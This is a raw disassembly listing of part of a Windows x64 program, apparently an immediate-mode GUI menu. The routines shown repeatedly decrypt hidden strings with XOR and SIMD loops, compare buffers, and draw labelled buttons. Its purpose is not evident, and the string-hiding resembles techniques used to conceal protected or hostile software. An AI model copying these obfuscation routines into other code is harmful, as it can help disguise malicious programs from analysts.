movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14015c878]
xorps xmm2, xmm0
movd dword [rbp + 0xb0], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb4]
xorps xmm2, xmm1
movd dword [rbp + 0xb4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xb0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140097330
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x10a8]
call fcn.140066140
lea rcx, [rbp + 0x10a8]
cmp qword [rbp + 0x10c0], 0xf
cmova rcx, qword [rbp + 0x10a8]
call fcn.14004f3e0
mov dword [rbp + 0x450], 0x42480000
mov dword [rbp + 0x454], 0x43020000
lea rcx, [rbp + 0x450]
call fcn.140025d40
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdi, qword [0x14018d268]
mov rcx, rdi
call fcn.14004f3e0
mov dword [rbp + 0x458], 0x42480000
mov dword [rbp + 0x45c], 0x43200000
lea rcx, [rbp + 0x458]
call fcn.140025d40
mov rcx, qword [rbp + 0x78]
call fcn.140025b40
mov rdx, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14018d288]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r12, qword [0x14018d208]
mov r8, qword [0x14018d218]
cmp r8, qword [0x14018d298]
jne 0x14009764c
mov rcx, r12
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14009764c
mov qword [rbx + 0xd4], 0x3f800000
xor r12d, r12d
mov dword [rbx + 0xdc], r12d
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [str.rx_]
movups xmmword [rbp + 0x6a8], xmm0
movzx eax, word [0x14015c8c0]
mov word [rbp + 0x6b8], ax
movzx eax, byte [0x14015c8c2]
mov byte [rbp + 0x6ba], al
mov r8d, r12d
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp r14d, 2
jl 0x1400975f9
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x6ac]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400974f0
cmp r8d, 0x13
jge 0x140097640
movsxd rax, r8d
lea r9, [rbp + 0x6a8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140097610
lea rdx, [rbp + 0x6a8]
jmp 0x140097807
xor r12d, r12d
mov dword [rbx + 0xd4], r12d
mov qword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movsd xmm0, qword [0x14015c8a0]
movsd qword [rbp + 0x1c8], xmm0
mov eax, dword [0x14015c8a8]
mov dword [rbp + 0x1d0], eax
movzx eax, word [0x14015c8ac]
mov word [rbp + 0x1d4], ax
movzx eax, byte [0x14015c8ae]
mov byte [rbp + 0x1d6], al
mov r8d, r12d
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp r14d, 2
jl 0x1400977be
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14015c8a0]
xorps xmm2, xmm0
movd dword [rbp + 0x1c8], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1cc]
xorps xmm2, xmm1
movd dword [rbp + 0x1cc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1c8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400977d0
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0x1088]
call fcn.140066140
lea rcx, [rbp + 0x1088]
cmp qword [rbp + 0x10a0], 0xf
cmova rcx, qword [rbp + 0x1088]
call fcn.14004f3e0
mov dword [rbp + 0x460], 0x42480000
mov dword [rbp + 0x464], 0x43340000
lea rcx, [rbp + 0x460]
call fcn.140025d40
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r15, qword [0x14018d288]
mov rcx, r15
call fcn.14004f3e0
mov dword [rbp + 0x468], 0x42480000
mov dword [rbp + 0x46c], 0x43520000
lea rcx, [rbp + 0x468]
call fcn.140025d40
mov r15, qword [rbp + 0x78]
mov rcx, r15
call fcn.140025b40
mov rdx, rsi
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14018d2a8]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r13, qword [0x14018d228]
mov r8, qword [0x14018d238]
cmp r8, qword [0x14018d2b8]
jne 0x140097afc
mov rcx, r13
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140097afc
mov qword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xdc], r12d
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [str.F_QGTXYKe]
movups xmmword [rbp + 0x248], xmm0
movsd xmm0, qword [0x14015c8f0]
movsd qword [rbp + 0x258], xmm0
movzx eax, word [0x14015c8f8]
mov word [rbp + 0x260], ax
cmp byte [0x14015c8f9], 0
je 0x140097af0
mov r8d, r12d
cmp r14d, 2
jl 0x140097aa9
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x24c]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400979a0
cmp r8d, 0x1a
jge 0x140097af0
movsxd rax, r8d
lea r9, [rbp + 0x248]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140097ac0
lea rdx, [rbp + 0x248]
jmp 0x140097ce7
mov dword [rbx + 0xd4], r12d
mov qword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [0x14015c8c8]
movups xmmword [rbp + 0x248], xmm0
mov eax, dword [0x14015c8d8]
mov dword [rbp + 0x258], eax
movzx eax, word [0x14015c8dc]
mov word [rbp + 0x25c], ax
cmp byte [0x14015c8dd], 0
je 0x140097ce0
mov r8d, r12d
cmp r14d, 2
jl 0x140097c99
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x24c]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140097b90
cmp r8d, 0x16
jge 0x140097ce0
movsxd rax, r8d
lea r9, [rbp + 0x248]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140097cb0
lea rdx, [rbp + 0x248]
lea rcx, [rbp + 0x1068]
call fcn.140066140
lea rcx, [rbp + 0x1068]
cmp qword [rbp + 0x1080], 0xf
cmova rcx, qword [rbp + 0x1068]
call fcn.14004f3e0
mov dword [rbp + 0x470], 0x42480000
mov dword [rbp + 0x474], 0x43660000
lea rcx, [rbp + 0x470]
call fcn.140025d40
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rsi, qword [0x14018d2a8]
mov rcx, rsi
call fcn.14004f3e0
mov dword [rbp + 0x478], 0x42480000
mov dword [rbp + 0x47c], 0x43820000
lea rcx, [rbp + 0x478]
call fcn.140025d40
mov rcx, r15
call fcn.140025b40
lea rdi, [0x14018d2c8]
mov rdx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14018d2c8]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea rax, [0x14018d248]
cmova rax, qword [0x14018d248]
mov r8, qword [0x14018d258]
cmp r8, qword [0x14018d2d8]
jne 0x140097fdc
mov rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140097fdc
mov qword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xdc], r12d
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [str.Cpzf]
movups xmmword [rbp + 0x268], xmm0
movsd xmm0, qword [0x14015c928]
movsd qword [rbp + 0x278], xmm0
movzx eax, word [0x14015c930]
mov word [rbp + 0x280], ax
cmp byte [0x14015c931], 0
je 0x140097fd0
mov r8d, r12d
cmp r14d, 2
jl 0x140097f89
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x26c]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140097e80
cmp r8d, 0x1a
jge 0x140097fd0
movsxd rax, r8d
lea r9, [rbp + 0x268]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140097fa0
lea rdx, [rbp + 0x268]
jmp 0x1400981c7
mov dword [rbx + 0xd4], r12d
mov qword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [0x14015c900]
movups xmmword [rbp + 0x268], xmm0
mov eax, dword [0x14015c910]
mov dword [rbp + 0x278], eax
movzx eax, word [0x14015c914]
mov word [rbp + 0x27c], ax
cmp byte [0x14015c915], 0
je 0x1400981c0
mov r8d, r12d
cmp r14d, 2
jl 0x140098179
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x26c]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140098070
cmp r8d, 0x16
jge 0x1400981c0
movsxd rax, r8d
lea r9, [rbp + 0x268]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140098190
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x1048]
call fcn.140066140
lea rcx, [rbp + 0x1048]
cmp qword [rbp + 0x1060], 0xf
cmova rcx, qword [rbp + 0x1048]
call fcn.14004f3e0
mov dword [rbp + 0x480], 0x42480000
mov dword [rbp + 0x484], 0x438c0000
lea rcx, [rbp + 0x480]
call fcn.140025d40
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdi, qword [0x14018d2c8]
mov rcx, rdi
call fcn.14004f3e0
mov rcx, r15
call fcn.140025b40
mov dword [rbp + 0x488], 0x42480000
mov dword [rbp + 0x48c], 0x439b0000
lea rcx, [rbp + 0x488]
call fcn.140025d40
mov dword [rbp + 0x490], 0x42900000
mov dword [rbp + 0x494], 0x41f00000
movaps xmm1, xmmword [0x14015f2d0]
movaps xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14018d2e8]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x14018d7a8]
mov qword [rsp + 0x28], rax
lea rax, [0x14018d7a0]
mov qword [rsp + 0x20], rax
lea r9, [0x14018d798]
xor r8d, r8d
lea rdx, [rbp + 0x490]
lea rcx, str.___Back
call fcn.14003fec0
test al, al
je 0x14009830a
mov byte [0x14018e6fb], 0
mov byte [0x14018e6fa], 1
mov byte [reloc.WS2_32.dll_accept], 0
mov dword [rbp + 0x498], 0x440c0000
mov dword [rbp + 0x49c], 0x40a00000
lea rcx, [rbp + 0x498]
call fcn.140025d40
mov dword [rbp + 0x4a0], 0x41a00000
mov dword [rbp + 0x4a4], 0x41f00000
movaps xmm0, xmmword [0x14015f2d0]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [0x14015f2a0]
movaps xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x14018d7c0]
mov qword [rsp + 0x28], rax
lea rax, [0x14018d7b8]
mov qword [rsp + 0x20], rax
lea r9, [0x14018d7b0]
xor r8d, r8d
lea rdx, [rbp + 0x4a0]
lea rcx, [0x14015cb34]
call fcn.14003fec0
test al, al
je 0x1400983ae
mov byte [reloc.WS2_32.dll_accept], 0
mov rdx, qword [rbp + 0x1060]
cmp rdx, 0xf
jbe 0x1400983fe
inc rdx
mov rcx, qword [rbp + 0x1048]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400983f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400983f9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14010967c
movdqa xmm0, xmmword [0x14015f1d0]
movdqu xmmword [rbp + 0x1058], xmm0
mov byte [rbp + 0x1048], 0
mov rdx, qword [rbp + 0x1080]
cmp rdx, 0xf
jbe 0x140098465
inc rdx
mov rcx, qword [rbp + 0x1068]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140098460
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140098460
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14010967c
movdqa xmm0, xmmword [0x14015f1d0]
movdqu xmmword [rbp + 0x1078], xmm0
mov byte [rbp + 0x1068], 0
mov rdx, qword [rbp + 0x10a0]
cmp rdx, 0xf
jbe 0x1400984cc
inc rdx
mov rcx, qword [rbp + 0x1088]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400984c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400984c7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14010967c
movdqa xmm0, xmmword [0x14015f1d0]
movdqu xmmword [rbp + 0x1098], xmm0
mov byte [rbp + 0x1088], 0
mov rdx, qword [rbp + 0x10c0]
cmp rdx, 0xf
jbe 0x140098533
inc rdx
mov rcx, qword [rbp + 0x10a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14009852e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14009852e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14010967c
movdqa xmm0, xmmword [0x14015f1d0]
movdqu xmmword [rbp + 0x10b8], xmm0
mov byte [rbp + 0x10a8], 0
call fcn.140015c00
cmp byte [0x14018e6fa], 0
je 0x140099fe1
mov qword [rbp + 0x4a8], 0x43160000
lea rcx, [rbp + 0x4a8]
call fcn.140025d40
mov rcx, r15
call fcn.140025b40
call fcn.1400197f0
mov rbx, rax
mov dword [rax + 0xf4], 0x3f800000
mov dword [rax + 0xf8], 0x3ecccccd
mov dword [rax + 0xfc], 0x3e4ccccd
mov dword [rax + 0x100], 0x3f800000
mov dword [rbp + 0x4b0], 0x44138000
mov dword [rbp + 0x4b4], 0x43e60000
movsd xmm0, qword [0x14015c938]
movsd qword [rbp - 0x28], xmm0
movzx ecx, word [0x14015c940]
mov word [rbp - 0x20], cx
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x14009860c
mov byte [rbp - 0x28], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x27], 0x31
xor byte [rbp - 0x26], 0x32
xor byte [rbp - 0x25], 0x33
xor byte [rbp - 0x24], 0x34
xor byte [rbp - 0x23], 0x35
xor byte [rbp - 0x22], 0x36
xor byte [rbp - 0x21], 0x37
xor byte [rbp - 0x20], 0x38
xor byte [rbp - 0x1f], 0x39
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp - 0x28]
call fcn.140007fe0
mov dword [rbp + 0x4b8], 0x42480000
mov dword [rbp + 0x4bc], 0x42480000
lea rcx, [rbp + 0x4b8]
call fcn.140025d40
mov dword [rbp + 0x4c0], 0x43f50000
mov dword [rbp + 0x4c4], 0x43480000
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x4000
lea r9, [rbp + 0x4c0]
mov r8d, 0x200
lea rdx, [0x14018e840]
lea rcx, [0x140110a7c]
call fcn.14004a800
mov dword [rbp + 0x4c8], 0x42480000
mov dword [rbp + 0x4cc], 0x43870000
lea rcx, [rbp + 0x4c8]
call fcn.140025d40
mov dword [rbx + 0x94], 0x3f000000
mov dword [rbx + 0x98], 0x3f000000
movaps xmm7, xmmword [0x14015f2c0]
